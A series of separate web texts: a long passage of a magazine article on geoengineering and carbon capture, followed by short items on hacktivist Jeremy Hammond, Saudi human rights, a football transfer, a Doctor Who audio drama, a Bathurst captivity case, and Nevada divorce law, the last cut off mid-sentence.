he added, “it is hyperbolic to say this, but no less true: when you start to reflect light away from the planet, you can easily imagine a chain of events that would extinguish life on earth.” There is only one reason to consider deploying a scheme with even a tiny chance of causing such a catastrophe: if the risks of not deploying it were clearly higher. No one is yet prepared to make such a calculation, but researchers are moving in that direction. To offer guidance, the Intergovernmental Panel on Climate Change (I.P.C.C.) has developed a series of scenarios on global warming. The cheeriest assessment predicts that by the end of the century the earth’s average temperature will rise between 1.1 and 2.9 degrees Celsius. A more pessimistic projection envisages a rise of between 2.4 and 6.4 degrees—far higher than at any time in recorded history. (There are nearly two degrees Fahrenheit in one degree Celsius. A rise of 2.4 to 6.4 degrees Celsius would equal 4.3 to 11.5 degrees Fahrenheit.) Until recently, climate scientists believed that a six-degree rise, the effects of which would be an undeniable disaster, was unlikely. But new data have changed the minds of many. Late last year, Fatih Birol, the chief economist for the International Energy Agency, said that current levels of consumption “put the world perfectly on track for a six-degree Celsius rise in temperature. . . . Everybody, even schoolchildren, knows this will have catastrophic implications for all of us.” Tens of thousands of wildfires have already been attributed to warming, as have melting glaciers and rising seas. (The warming of the oceans is particularly worrisome; as Arctic ice melts, water that was below the surface becomes exposed to the sun and absorbs more solar energy, which leads to warmer oceans—a loop that could rapidly spin out of control.) Even a two-degree climb in average global temperatures could cause crop failures in parts of the world that can least afford to lose the nourishment. The size of deserts would increase, along with the frequency and intensity of wildfires. Deliberately modifying the earth’s atmosphere would be a desperate gamble with significant risks. Yet the more likely climate change is to cause devastation, the more attractive even the most perilous attempts to mitigate those changes will become. “We don’t know how bad this is going to be, and we don’t know when it is going to get bad,’’ Ken Caldeira, a climate scientist with the Carnegie Institution, told me. In 2007, Caldeira was a principal contributor to an I.P.C.C. team that won a Nobel Peace Prize. “There are wide variations within the models,’’ he said. “But we had better get ready, because we are running rapidly toward a minefield. We just don’t know where the minefield starts, or how long it will be before we find ourselves in the middle of it.” The Maldives, a string of islands off the coast of India whose highest point above sea level is eight feet, may be the first nation to drown. In Alaska, entire towns have begun to shift in the loosening permafrost. The Florida economy is highly dependent upon coastal weather patterns; the tide station at Miami Beach has registered an increase of seven inches since 1935, according to the National Oceanic and Atmospheric Administration. One Australian study, published this year in the journal Nature Climate Change, found that a two-degree Celsius rise in the earth’s temperature would be accompanied by a significant spike in the number of lives lost just in Brisbane. Many climate scientists say their biggest fear is that warming could melt the Arctic permafrost—which stretches for thousands of miles across Alaska, Canada, and Siberia. There is twice as much CO 2 locked beneath the tundra as there is in the earth’s atmosphere. Melting would release enormous stores of methane, a greenhouse gas nearly thirty times more potent than carbon dioxide. If that happens, as the hydrologist Jane C. S. Long told me when we met recently in her office at the Lawrence Livermore National Laboratory, “it’s game over.”  The Stratospheric Particle Injection for Climate Engineering project, or SPICE, is a British academic consortium that seeks to mimic the actions of volcanoes like Pinatubo by pumping particles of sulfur dioxide, or similar reflective chemicals, into the stratosphere through a twelve-mile-long pipe held aloft by a balloon at one end and tethered, at the other, to a boat anchored at sea. The consortium consists of three groups. At Bristol University, researchers led by Matt Watson, a professor of geophysics, are trying to determine which particles would have the maximum desired impact with the smallest likelihood of unwanted side effects. Sulfur dioxide produces sulfuric acid, which destroys the ozone layer of the atmosphere; there are similar compounds that might work while proving less environmentally toxic—including synthetic particles that could be created specifically for this purpose. At Cambridge, Hugh Hunt and his team are trying to determine the best way to get those particles into the stratosphere. A third group, at Oxford, has been focussing on the effect such an intervention would likely have on the earth’s climate. Hunt and I spoke in Cambridge, at Trinity College, where he is a professor of engineering and the Keeper of the Trinity College clock, a renowned timepiece that gains or loses less than a second a month. In his office, dozens of boomerangs dangle from the wall. When I asked about them, he grabbed one and hurled it at my head. “I teach three-dimensional dynamics,’’ he said, flicking his hand in the air to grab it as it returned. Hunt has devoted his intellectual life to the study of mechanical vibration. His Web page is filled with instructive videos about gyroscopes, rings wobbling down rods, and boomerangs. “I like to demonstrate the way things spin,’’ he said, as he put the boomerang down and picked up an inflated pink balloon attached to a string. “The principle is pretty simple.” Holding the string, Hunt began to bobble the balloon as if it were being tossed by foul weather. “Everything is fine if it is sitting still,’’ he continued, holding the balloon steady. Then he began to wave his arm erratically. “One of the problems is that nothing is going to be still up there. It is going to be moving around. And the question we’ve got is . . . this pipe”—the industrial hose that will convey the particles into the sky—“is going to be under huge stressors.’’ He snapped the string connected to the balloon. “How do you know it’s not going to break? We are really pushing things to the limit in terms of their strength, so it is essential that we get the dynamics of motion right.’’ [cartoon id="a16512"] Most scientists, even those with no interest in personal publicity, are vigorous advocates for their own work. Not this group. “I don’t know how many times I have said this, but the last thing I would ever want is for the project I have been working on to be implemented,’’ Hunt said. “If we have to use these tools, it means something on this planet has gone seriously wrong.’’ Last fall, the SPICE team decided to conduct a brief and uncontroversial pilot study. At least they thought it would be uncontroversial. To demonstrate how they would disperse the sulfur dioxide, they had planned to float a balloon over Norfolk, at an altitude of a kilometre, and send a hundred and fifty litres of water into the air through a hose. After the date and time of the test was announced, in the middle of September, more than fifty organizations signed a petition objecting to the experiment, in part because they fear that even to consider engineering the climate would provide politicians with an excuse for avoiding tough decisions on reducing greenhouse-gas emissions. Opponents of the water test pointed out the many uncertainties in the research (which is precisely why the team wanted to do the experiment). The British government decided to put it off for at least six months. “When people say we shouldn’t even explore this issue, it scares me,’’ Hunt said. He pointed out that carbon emissions are heavy, and finding a place to deposit them will not be easy. “Roughly speaking, the CO 2 we generate weighs three or four times as much as the fuel it comes from.” That means that a short round-trip journey—say, eight hundred miles—by car, using two tanks of gas, produces three hundred kilograms of CO 2 . “This is ten heavy suitcases from one short trip,’’ Hunt said. “And you have to store it where it can’t evaporate. “So I have three questions, Where are you going to put it? Who are you going to ask to dispose of this for you? And how much are you reasonably willing to pay them to do it?” he continued. “There is nobody on this planet who can answer any of those questions. There is no established place or technique, and nobody has any idea what it would cost. And we need the answers now.” Hunt stood up, walked slowly to the window, and gazed at the manicured Trinity College green. “I know this is all unpleasant,’’ he said. “Nobody wants it, but nobody wants to put high doses of poisonous chemicals into their body, either. That is what chemotherapy is, though, and for people suffering from cancer those poisons are often their only hope. Every day, tens of thousands of people take them willingly—because they are very sick or dying. This is how I prefer to look at the possibility of engineering the climate. It isn’t a cure for anything. But it could very well turn out to be the least bad option we are going to have.’’  The notion of modifying the weather dates back at least to the eighteen-thirties, when the American meteorologist James Pollard Espy became known as the Storm King, for his (prescient but widely ridiculed) proposals to stimulate rain by selectively burning forests. More recently, the U.S. government project Stormfury attempted for decades to lessen the force of hurricanes by seeding them with silver iodide. And in 2008 Chinese soldiers fired more than a thousand rockets filled with chemicals at clouds over Beijing to prevent them from raining on the Olympics. The relationship between carbon emissions and the earth’s temperature has been clear for more than a century: in 1908, the Swedish scientist Svante Arrhenius suggested that burning fossil fuels might help prevent the coming ice age. In 1965, President Lyndon Johnson received a report from his Science Advisory Committee, titled “Restoring the Quality of Our Environment,” that noted for the first time the potential need to balance increased greenhouse-gas emissions by “raising the albedo, or the reflectivity, of the earth.” The report suggested that such a change could be achieved by spreading small reflective particles over large parts of the ocean. While such tactics could clearly fail, perhaps the greater concern is what might happen if they succeeded in ways nobody had envisioned. Injecting sulfur dioxide, or particles that perform a similar function, would rapidly lower the temperature of the earth, at relatively little expense—most estimates put the cost at less than ten billion dollars a year. But it would do nothing to halt ocean acidification, which threatens to destroy coral reefs and wipe out an enormous number of aquatic species. The risks of reducing the amount of sunlight that reaches the atmosphere on that scale would be as obvious—and immediate—as the benefits. If such a program were suddenly to fall apart, the earth would be subjected to extremely rapid warming, with nothing to stop it. And while such an effort would cool the globe, it might do so in ways that disrupt the behavior of the Asian and African monsoons, which provide the water that billions of people need to drink and to grow their food. “Geoengineering” actually refers to two distinct ideas about how to cool the planet. The first, solar-radiation management, focusses on reducing the impact of the sun. Whether by seeding clouds, spreading giant mirrors in the desert, or injecting sulfates into the stratosphere, most such plans seek to replicate the effects of eruptions like Mt. Pinatubo’s. The other approach is less risky, and involves removing carbon directly from the atmosphere and burying it in vast ocean storage beds or deep inside the earth. But without a significant technological advance such projects will be expensive and may take many years to have any significant effect. There are dozens of versions of each scheme, and they range from plausible to absurd. There have been proposals to send mirrors, sunshades, and parasols into space. Recently, the scientific entrepreneur Nathan Myhrvold, whose company Intellectual Ventures has invested in several geoengineering ideas, said that we could cool the earth by stirring the seas. He has proposed deploying a million plastic tubes, each about a hundred metres long, to roil the water, which would help it trap more CO 2 . “The ocean is this giant heat sink,’’ he told me. “But it is very cold. The bottom is nearly freezing. If you just stirred the ocean more, you could absorb the excess CO 2 and keep the planet cold.” (This is not as crazy as it sounds. In the center of the ocean, wind-driven currents bring fresh water to the surface, so stirring the ocean could transform it into a well-organized storage depot. The new water would absorb more carbon while the old water carried the carbon it has already captured into the deep.) The Harvard physicist Russell Seitz wants to create what amounts to a giant oceanic bubble bath: bubbles trap air, which brightens them enough to reflect sunlight away from the surface of the earth. Another tactic would require maintaining a fine spray of seawater—the world’s biggest fountain—which would mix with salt to help clouds block sunlight. The best solution, nearly all scientists agree, would be the simplest: stop burning fossil fuels, which would reduce the amount of carbon we dump into the atmosphere. That fact has been emphasized in virtually every study that addresses the potential effect of climate change on the earth—and there have been many—but none have had a discernible impact on human behavior or government policy. Some climate scientists believe we can accommodate an atmosphere with concentrations of carbon dioxide that are twice the levels of the preindustrial era—about five hundred and fifty parts per million. Others have long claimed that global warming would become dangerous when atmospheric concentrations of carbon rose above three hundred and fifty parts per million. We passed that number years ago. After a decline in 2009, which coincided with the harsh global recession, carbon emissions soared by six per cent in 2010—the largest increase ever recorded. On average, in the past decade, fossil-fuel emissions grew at about three times the rate of growth in the nineteen-nineties. Although the I.P.C.C., along with scores of other scientific bodies, has declared that the warming of the earth is unequivocal, few countries have demonstrated the political will required to act—perhaps least of all the United States, which consumes more energy than any nation other than China, and, last year, more than it ever had before. The Obama Administration has failed to pass any meaningful climate legislation. Mitt Romney, the presumptive Republican nominee, has yet to settle on a clear position. Last year, he said he believed the world was getting warmer—and humans were a cause. By October, he had retreated. “My view is that we don’t know what is causing climate change on this planet,” he said, adding that spending huge sums to try to reduce CO 2 emissions “is not the right course for us.” China, which became the world’s largest emitter of greenhouse gases several years ago, constructs a new coal-burning power plant nearly every week. With each passing year, goals become exponentially harder to reach, and global reductions along the lines suggested by the I.P.C.C. seem more like a “pious wish,” to use the words of the Dutch chemist Paul Crutzen, who in 1995 received a Nobel Prize for his work on ozone depletion. “Most nations now recognize the need to shift to a low-carbon economy, and nothing should divert us from the main priority of reducing global greenhouse gas emissions,’’ Lord Rees of Ludlow wrote in his 2009 forward to a highly influential report on geoengineering released by the Royal Society, Britain’s national academy of sciences. “But if such reductions achieve too little, too late, there will surely be pressure to consider a ‘plan B’—to seek ways to counteract climatic effects of green-house gas emissions.’’ [cartoon id="a16537"] While that pressure is building rapidly, some climate activists oppose even holding discussions about a possible Plan B, arguing, as the Norfolk protesters did in September, that it would be perceived as indirect permission to abandon serious efforts to cut emissions. Many people see geoengineering as a false solution to an existential crisis—akin to encouraging a heart-attack patient to avoid exercise and continue to gobble fatty food while simply doubling his dose of Lipitor. “The scientist’s focus on tinkering with our entire planetary system is not a dynamic new technological and scientific frontier, but an expression of political despair,” Doug Parr, the chief scientist at Greenpeace UK, has written.  During the 1974 Mideast oil crisis, the American engineer Hewitt Crane, then working at S.R.I. International, realized that standard measurements for sources of energy—barrels of oil, tons of coal, gallons of gas, British thermal units—were nearly impossible to compare. At a time when these commodities were being rationed, Crane wondered how people could conserve resources if they couldn’t even measure them. The world was burning through twenty-three thousand gallons of oil every second. It was an astonishing figure, but one that Crane had trouble placing into any useful context. Crane devised a new measure of energy consumption: a three-dimensional unit he called a cubic mile of oil. One cubic mile of oil would fill a pool that was a mile long, a mile wide, and a mile deep. Today, it takes three cubic miles’ worth of fossil fuels to power the world for a year. That’s a trillion gallons of gas. To replace just one of those cubic miles with a source of energy that will not add carbon dioxide to the atmosphere—nuclear power, for instance—would require the construction of a new atomic plant every week for fifty years; to switch to wind power would mean erecting thousands of windmills each month. It is hard to conceive of a way to replace that much energy with less dramatic alternatives. It is also impossible to talk seriously about climate change without talking about economic development. Climate experts have argued that we ought to stop emitting greenhouse gases within fifty years, but by then the demand for energy could easily be three times what it is today: nine cubic miles of oil. The planet is getting richer as well as more crowded, and the pressure to produce more energy will become acute long before the end of the century. Predilections of the rich world—constant travel, industrial activity, increasing reliance on meat for protein—require enormous physical resources. Yet many people still hope to solve the problem of climate change just by eliminating greenhouse-gas emissions. “When people talk about bringing emissions to zero, they are talking about something that will never happen,’’ Ken Caldeira told me. “Because that would require a complete alteration in the way humans are built.” Caldeira began researching geoengineering almost by accident. For much of his career, he has focussed on the implications of ocean acidification. During the nineteen-nineties, he spent a year in the Soviet Union, at the Leningrad lab of Mikhail Budyko, who is considered the founder of physical climatology. It was Budyko, in the nineteen-sixties, who first suggested cooling the earth by putting sulfur particles in the sky. “In the nineteen-nineties, when I was working at Livermore, we had a meeting in Aspen to discuss the scale of the energy-system transformation needed in order to address the climate problem,’’ Caldeira said. “Among the people who attended was Lowell Wood, a protégé of Edward Teller. Wood is a brilliant but sometimes erratic man . . . lots of ideas, some better than others.” At Aspen, Wood delivered a talk on geoengineering. In the presentation, he explained, as he has many times since, that shielding the earth properly could deflect one or two per cent of the sunlight that reaches the atmosphere. That, he said, would be all it would take to counter the worst effects of warming. David Keith was in the audience with Caldeira that day in Aspen. Keith now splits his time between Harvard and Calgary, where he runs Carbon Engineering, a company that is developing new technology to capture CO 2 from the atmosphere—at a cost that he believes would make it sensible to do so. At the time, though, both men considered Wood’s idea ridiculous. “We said this will never happen,’’ Caldeira recalled. “We were so certain Wood was nuts, because we assumed you can change the global mean temperature, but you will still get seasonal and regional patterns you can’t correct. We were in the back of the room, and neither of us could believe it.” Caldeira decided to prove his point by running a computer simulation of Wood’s approach. Scenarios for future climate change are almost always developed using powerful three-dimensional models of the earth and its atmosphere. They tend to be most accurate when estimating large numbers, like average global temperatures. Local and regional weather patterns are more difficult to predict, as anyone who has relied on a five-day weather forecast can understand. Still, in 1998 Caldeira tested the idea, and, “much to my surprise, it seemed to work and work well,” he told me. It turned out that reducing sunlight offset the effect of CO 2 both regionally and seasonally. Since then, his results have been confirmed by several other groups. Recently, Caldeira and colleagues at Carnegie and Stanford set out to examine whether the techniques of solar-radiation management would disrupt the sensitive agricultural balance on which the earth depends. Using two models, they simulated climates with carbon-dioxide levels similar to those which exist today. They then doubled those concentrations to reflect levels that would be likely in several decades if current trends continue unabated. Finally, in a third set of simulations, they doubled the CO 2 in the atmosphere, but added a layer of sulfate aerosols to the stratosphere, which would deflect about two per cent of incoming sunlight from the earth. The data were then applied to crop models that are commonly used to project future yields. Again, the results were unexpected. Farm productivity, on average, went up. The models suggested that precipitation would increase in the northern and middle latitudes, and crop yields would grow. In the tropics, though, the results were significantly different. There heat stress would increase, and yields would decline. “Climate change is not so much a reduction in productivity as a redistribution,’’ Caldeira said. “And it is one in which the poorest people on earth get hit the hardest and the rich world benefits”—a phenomenon, he added, that is not new. “I have two perspectives on what this might mean,’’ he said. “One says: humans are like rats or cockroaches. We are already living from the equator to the Arctic Circle. The weather has already become .7 degrees warmer, and barely anyone has noticed or cares. And, yes, the coral reefs might become extinct, and people from the Seychelles might go hungry. But they have gone hungry in the past, and nobody cared. So basically we will live in our gated communities, and we will have our TV shows and Chicken McNuggets, and we will be O.K. The people who would suffer are the people who always suffer. “There is another way to look at this, though,’’ he said. “And that is to compare it to the subprime-mortgage crisis, where you saw that a few million bad mortgages led to a five-per-cent drop in gross domestic product throughout the world. Something that was a relatively small knock to the financial system led to a global crisis. And that could certainly be the case with climate change. But five per cent is an interesting figure, because in the Stern Report’’—an often cited review led by the British economist Nicholas Stern, which signalled the alarm about greenhouse-gas emissions by focussing on economics—“they estimated climate change would cost the world five per cent of its G.D.P. Most economists say that solving this problem is one or two per cent of G.D.P. The Clean Water and Clean Air Acts each cost about one per cent of G.D.P.,” Caldeira continued. “We just had a much worse shock to our banking system. And it didn’t even get us to reform the economy in any significant way. So why is the threat of a five-per-cent hit from climate change going to get us to transform the energy system?”  Solar-radiation management, which most reports have agreed is technologically feasible, would provide, at best, a temporary solution to rapid warming—a treatment but not a cure. There are only two ways to genuinely solve the problem: by drastically reducing emissions or by removing the CO 2 from the atmosphere. Trees do that every day. They “capture” carbon dioxide in their leaves, metabolize it in the branch system, and store it in their roots. But to do so on a global scale would require turning trillions of tons of greenhouse-gas emissions into a substance that could be stored cheaply and easily underground or in ocean beds. Until recently, the costs of removing carbon from the atmosphere on that scale have been regarded by economists as prohibitive. CO 2 needs to be heated in order to be separated out; using current technology, the expense would rival that of creating an entirely new energy system. Typically, power plants release CO 2 into the atmosphere through exhaust systems referred to as flues. The most efficient way we have now to capture CO 2 is to remove it from flue gas as the emissions escape. Over the past five years, several research groups—one of which includes David Keith’s company, Carbon Engineering, in Calgary—have developed new techniques to extract carbon from the atmosphere, at costs that may make it economically feasible on a larger scale. [cartoon id="a16513"] Early this winter, I visited a demonstration project on the campus of S.R.I. International, the Menlo Park institution that is a combination think tank and technological incubator. The project, built by Global Thermostat, looked like a very high-tech elevator or an awfully expensive math problem. “When I called chemical engineers and said I want to do this on a planetary scale, they laughed,’’ Peter Eisenberger, Global Thermostat’s president, told me. In 1996, Eisenberger was appointed the founding director of the Earth Institute, at Columbia University, where he remains a professor of earth and environmental sciences. Before that, he spent a decade running the materials research institute at Princeton University, and nearly as much time at Exxon, in charge of research and development. He believes he has developed a system to capture CO 2 from the atmosphere at low heat and potentially at low cost. The trial project is essentially a five-story brick edifice specially constructed to function like a honeycomb. Global Thermostat coats the bricks with chemicals called amines to draw CO 2 from the air and bind with it. The carbon dioxide is then separated with a proprietary method that uses low-temperature heat—something readily available for free, since it is a waste product of many power plants. “Using low-temperature heat changes the equation,’’ Eisenberger said. He is an excitable man with the enthusiasm of a graduate student and the manic gestures of an orchestra conductor. He went on to explain that the amine coating on the bricks binds the CO 2 at the molecular level, and the amount it can capture depends on the surface area; honeycombs provide the most surface space possible per square metre. There are two groups of honey-combs that sit on top of each other. As Eisenberger pointed out, “You can only absorb so much CO 2 at once, so when the honeycomb is full it drops into a lower section.” Steam heats and releases the CO 2 —and the honeycomb rises again. (Currently, carbon dioxide is used commercially in carbonated beverages, brewing, and pneumatic drying systems for packaged food. It is also used in welding. Eisenberger argues that, ideally, carbon waste would be recycled to create an industrial form of photosynthesis, which would help reduce our dependence on fossil fuels.) Unlike some other scientists engaged in geoengineering, Eisenberger is not bothered by the notion of tinkering with nature. “We have devised a system that introduces no additional threats into the environment,’’ he told me. “And the idea of interfering with benign nature is ridiculous. The Bambi view of nature is totally false. Nature is violent, amoral, and nihilistic. If you look at the history of this planet, you will see cycles of creation and destruction that would offend our morality as human beings. But somehow, because it’s ‘nature,’ it’s supposed to be fine.’’ Eisenberger founded and runs Global Thermostat with Graciela Chichilnisky, an Argentine economist who wrote the plan, adopted in 2005, for the international carbon market that emerged from the Kyoto Climate talks. Edgar Bronfman, Jr., an heir to the Seagram fortune, is Global Thermostat’s biggest investor. (The company is one of the finalists for Richard Branson’s Virgin Earth Challenge prize. In 2007, Branson offered a cash prize of twenty-five million dollars to anyone who could devise a process that would drain large quantities of greenhouse gases from the atmosphere.) “What is fascinating for me is the way the innovation process has changed,’’ Eisenberger said. “In the past, somebody would make a discovery in a laboratory and say, ‘What can I do with this?’ And now we ask, ‘What do we want to design?,’ because we believe there is powerful enough knowledge to do it. That is what my partner and I did.” The pilot, which began running last year, works on a very small scale, capturing about seven hundred tons of CO 2 a year. (By comparison, an automobile puts out about six tons a year.) Eisenberger says that it is important to remember that it took more than a century to assemble the current energy system: coal and gas plants, factories, and the worldwide transportation network that has been responsible for depositing trillions of tons of CO 2 into the atmosphere. “We are not going to get it all out of the atmosphere in twenty years,’’ he said. “It will take at least thirty years to do this, but if we start now that is plenty of time. You would just need a source of low-temperature heat—factories anywhere in the world are ideal.” He envisions a network of twenty thousand such devices scattered across the planet. Each would cost about a hundred million dollars—a two-trillion-dollar investment spread out over three decades. “There is a strong history of the system refusing to accept something new,” Eisenberger said. “People say I am nuts. But it would be surprising if people didn’t call me crazy. Look at the history of innovation! If people don’t call you nuts, then you are doing something wrong.”
-Jeremy Hammond is a member of the hacktivist network Anonymous and a gifted computer programer whose case has attracted the attention of activists, civil libertarians and those concerned about the rights of whistleblowers. He is currently spending a decade in prison for allegedly disclosing information about the private intelligence firm Strategic Forecasting, Inc. (Stratfor), revealing that they had been spying on human rights defenders at the behest of corporations and governments. WikiLeaks published these files in partnership with 29 media organisations worldwide as the Global Intelligence Files.  After being threatened with 40 years to life in prison for his brave actions and suffering numerous injustices at the hands of the legal system, Jeremy accepted a non-cooperating plea deal to one count of violating the arcane and draconian Computer Fraud and Abuse Act. Despite lodging nearly 265 letters of support calling for leniency, Jeremy was sentenced to the maximum allowed under his plea agreement and is currently serving his ten-year sentence at a medium-security federal prison in Manchester, Kentucky.  Since his arrest in March of 2012, Jeremy has been frequently cut off from his friends and family, and punished with extensive stays in solitary confinement – treatment normally reserved for the most egregious offences. Jeremy did nothing for personal gain and everything in hope of making the world a better place. Scheduled for release 22 February 2020, Jeremy needs our support now more than ever.
-Photo: The flogging of Raif Badawi has sparked public outcry around the world. © Aleksandra Zielińska  Tomorrow marks eight weeks since the Saudi Arabian authorities publicly flogged the blogger and activist Raif Badawi, sentenced to 1,000 lashes and 10 years in prison for “insulting Islam” and founding an online forum for political debate.  After his first session of 50 lashes in front of a mosque in Jeddah on 9 January, a doctor advised prison authorities that his wounds had not healed sufficiently for him to undergo the second round of this brutal punishment.  The following Friday, while a medical committee had advised that Raif Badawi should not be flogged because of high blood pressure, another prison doctor insisted that there was nothing wrong with him and that he should be flogged. Then, for five consecutive weeks the Friday floggings were not carried out for reasons that remain unknown. It is anybody’s guess whether the next part of his sentence will be carried out tomorrow.  Raif Badawi has made headlines around the world. But his case is just the tip of the iceberg for the Gulf Kingdom’s appalling human rights record. Here are 10 sobering facts from Amnesty International’s research:  Cruel, inhuman and degrading punishments Saudi Arabia’s courts continue to impose sentences of flogging as punishment for many offences, often following unfair trials. Besides Raif Badawi, in the past two years the human rights defenders Mikhlif bin Daham al-Shammari and Omar al-Sa’id were sentenced to 200 and 300 lashes, respectively, and Filipino domestic worker Ruth Cosrojas was sentenced to 300. Amputations and cross-amputations are also carried out as punishment for some crimes. Spike in executions Saudi Arabia is among the world’s top executioners, with dozens of people being put to death annually, many in public beheadings. So far this year 40 people have been executed – almost four times the equivalent number for this time last year. Crackdown on activists Besides Raif Badawi, dozens more outspoken activists remain behind bars, simply for exercising their rights to freedom of expression, association and assembly. The authorities have targeted the small but vocal community of human rights defenders, including by using anti-terrorism laws to suppress their peaceful actions to expose and address human rights violations. No space for dissent All public gatherings, including demonstrations, remain prohibited under an order issued by the Interior Ministry in 2011. Those who defy the ban face arrest, prosecution and imprisonment on charges such as “inciting people against the authorities”. Systematic discrimination against women Women and girls remain subject to discrimination in law and practice, with laws that subordinate their status to men, particularly in relation to family matters such as marriage, divorce, child custody and inheritance. Women who supported a campaign against a de facto ban on women drivers face the threat of arrest and other harassment and intimidation. Routine torture in custody Former detainees, trial defendants and others have told Amnesty International that the security forces’ use of torture and other ill-treatment remains common and widespread, and that those responsible are never brought to justice. Arbitrary arrests and detentions Scores of people have been arrested and detained in pre-trial detention for six months or more, which breaches the Kingdom’s own criminal codes. Detainees are frequently held incommunicado during their interrogation and denied access to their lawyers. Some human rights activists have been detained without charge or trial for more than two years. Entrenched religious discrimination Members of the Kingdom’s Shi’a minority, most of whom live in the oil-rich Eastern Province, continue to face entrenched discrimination that limits their access to government services and employment. Shi’a activists have received death sentences or long prison terms for their alleged participation in protests in 2011 and 2012. Mass deportation of migrant workers According to the Interior Ministry, a crackdown on irregular foreign migrant workers in November 2013 led to the deportation of more than 370,000 people. Some 18,000 were still being detained last March. Thousands of people were summarily returned to Somalia, Yemen or other states where they were at risk of human rights abuses. What happens in the Kingdom, stays in the Kingdom The Saudi Arabian authorities continue to deny access to independent human rights organizations like Amnesty International, and they have been known to take punitive action, including through the courts, against activists and family members of victims who contact us.  Take Action: Five ways you can help Raif Badawi
-GETTY Sead Kolasinac attended Schalke's final game of the season as a fan  Sead Kolasinac is out of contract with Schalke this summer and has reportedly agreed a deal to join Arsenal. The left-back is said to have signed a five-year contract with the Gunners and will link up with his new team in July. However, Kolasinac, who was banned for Schalke's final game of the season on Saturday against Ingolstadt, did not want to miss the opportunity to bid farewell to the club. And the 23-year-old did so in style, attending the match as a fan, dressed head-to-toe in Schalke colours and sitting among the travelling supporters.  The Bundesliga's official twitter account posted a picture of the defender with the fans, writing: "Kolasinac is suspended for Schalke's last game. "He's there with the fans. Class gesture, and an ace retro shirt!" Kolasinac is expected to link up with Arsenal in the summer as a long-term replacement for the ageing Nacho Monreal. Kieran Gibbs' future at the Emirates is also in doubt, having hardly featured this term for the Gunners.  Paper gossip: Neymar to Man United, Arsenal board torn, Mourinho chases Chelsea ace Sun, May 21, 2017 Express Sport brings you the best from today's back pages Play slideshow Sunday Express 1 of 8 Sunday Express
-'Recently, on TV, we saw how the Paul McGann Doctor died - now it's time to find out he lived.' Steven Moffat  The Eighth Doctor (Paul McGann) is an enthusiastic figure who explores the universe for the sheer love of it: though always ready to tackle problems when they arise, he relies on brilliant improvisation rather than elaborate plans.  He is passionate, direct, sympathetic and emotionally accessible, yet this is balanced by occasional feelings of self-doubt and weariness of his endless battles against evil.  After the shocking end of The Eighth Doctor Adventures: To the Death, he's a man dealing with loss and hunting for new meaning in his life. He found some solace in the company of Molly O'Sullivan, a voluntary aid detachment First World War nurse, but where will his travels take him next, who will he meet, and what enemies will he be facing?
-Man 'locked in cubbyhouse, forced to clean'  Updated  Police have charged a couple with holding a man captive for six months and forcing him to clean their house in the central western New South Wales town of Bathurst.  It is believed the 26-year-old man moved in with the couple at their home on the outskirts of Bathurst as a lodger in February.  He has told officers he was locked inside a cubbyhouse in the lounge room and denied food or medical treatment.  Police say he had his mobile phone confiscated and was repeatedly assaulted, at times with a baseball bat.  He was found in an emaciated and dehydrated state, suffering rib and spinal fractures, a punctured lung and a fractured jaw, and weighing just 40 kilograms.  The man, whose normal body weight was 70 kilograms, was rushed to Bathurst Base Hospital and later transferred to Westmead Hospital.  A 41-year-old man and 46-year-old woman were arrested yesterday and refused bail.  They will face court in October on 27 charges of kidnapping, assault and grievous bodily harm.  Topics: assault, law-crime-and-justice, crime, bathurst-2795, australia, nsw  First posted
-Nevada Divorce Laws Residency and Filing Requirements: In order to file for a divorce in Nevada, residency requirements must be met for the court to accept the case. If the court discovers it does not have jurisdictional rights to hear the case it will not be accepted or it will eventually be dismissed. The requirements are as follows:  Divorce from the bonds of matrimony may be obtained by verified complaint to the district court of any county: (a) In which the cause therefor accrued; (b) In which the defendant resides or may be found; (c) In which the plaintiff resides; (d) In which the parties last cohabited; or (e) If plaintiff resided 6 weeks in the State before suit was brought.  Unless the cause of action accrued within the county while the plaintiff and defendant were actually domiciled therein, no court has jurisdiction to grant a divorce unless either the plaintiff or defendant has been resident of the State for a period of not less than 6 weeks preceding the commencement of the action. (Nevada Statutes - Chapter 125 - Sections: 020) Start Your Nevada Divorce Online - we deliver you options. Grounds for Filing: The Complaint for Divorce must declare the appropriate Nevada grounds upon which the divorce is being sought. The appropriate lawful ground will be that which the parties agree upon and can substantiate, or that which the filing spouse desires to prove to the court. The divorce grounds are as follows:  Divorce from the bonds of matrimony may be obtained for any of the following causes:  No Fault:  1. When the husband and wife have lived separate and apart for 1 year without cohabitation the court may, in its discretion, grant an absolute decree of divorce at the suit of either party. 2. Incompatibility.  Fault:  1. Insanity existing for 2 years prior to the commencement of the action. Upon this cause of action the court, before granting a divorce, shall require corroborative evidence of the insanity of the defendant at that time. (Nevada Statutes - Chapter 125 - Sections: 010)  Filing Spouse Title: Plaintiff. The Plaintiff is the spouse who initiates the filing procedure with the family law or domestic relations court.  Non-Filing Spouse Title: Defendant. The Defendant is the spouse who does not file the initial divorce papers, but rather receives them by service.  Court Name: In the District Court for __________ County, Nevada. This is the Nevada court where the divorce will be filed. The court will assign a case number and have jurisdictional rights to facilitate and grant the orders concerning, but not limited to: property and debt division, support, custody, and visitation. The name of the court is clearly represented at the top of all documents that are filed.  Primary Documents: Complaint for Divorce and Decree of Divorce. These are the essential documents needed to start and finalize a divorce according to Nevada law. There are anywhere from ten to twenty other documents that may be required throughout the filing process. A few other documents that are typically filed during the process are: Civil Cover Sheet, Family Court Cover Sheet, Marital Settlement Agreement, Affidavit of Resident Witness Form, and Certificate of Mailing. Read more about Nevada divorce forms  Court Clerk's Title: District Clerk's Office. The clerk or the clerk's assistants will be the people managing your paperwork with the court. The clerk's office will keep the parties and the lawyers informed throughout the process in regards to additional paperwork that is needed, further requirements, and hearing dates and times.  Property Distribution: Nevada is a "Community Property" state. Community property is all property that was acquired during the marriage. This property will be divided equally (50-50) by the court if the parties are not able to come to an agreement.  In granting a divorce, the court shall dispose of any property held in joint tenancy (community property). If a party has made a contribution of separate property to the acquisition or improvement of property held in joint tenancy, the court may provide for the reimbursement of that party for his or her contribution. The amount of reimbursement must not exceed the amount of the contribution of separate property that can be traced to the acquisition or improvement of property held in joint tenancy, without interest or any adjustment because of an increase in the value of the property held in joint tenancy. The amount of reimbursement must not exceed the value, at the time of the disposition, of the property held in joint tenancy for which the contribution of separate property was made.  In determining whether to provide for the reimbursement, in whole or in part, of a party who has contributed separate property, the court shall consider: (a) The intention of the parties in placing the property in joint tenancy; (b) The length of the marriage; and (c) Any other factor which the court deems relevant in making a just and equitable disposition of that property. (Nevada Statutes - Chapter 125 - Sections: 150) Read more about Nevada property division  Restoration or Name Change: In all suits for divorce, if a divorce is granted, the court may, for just and 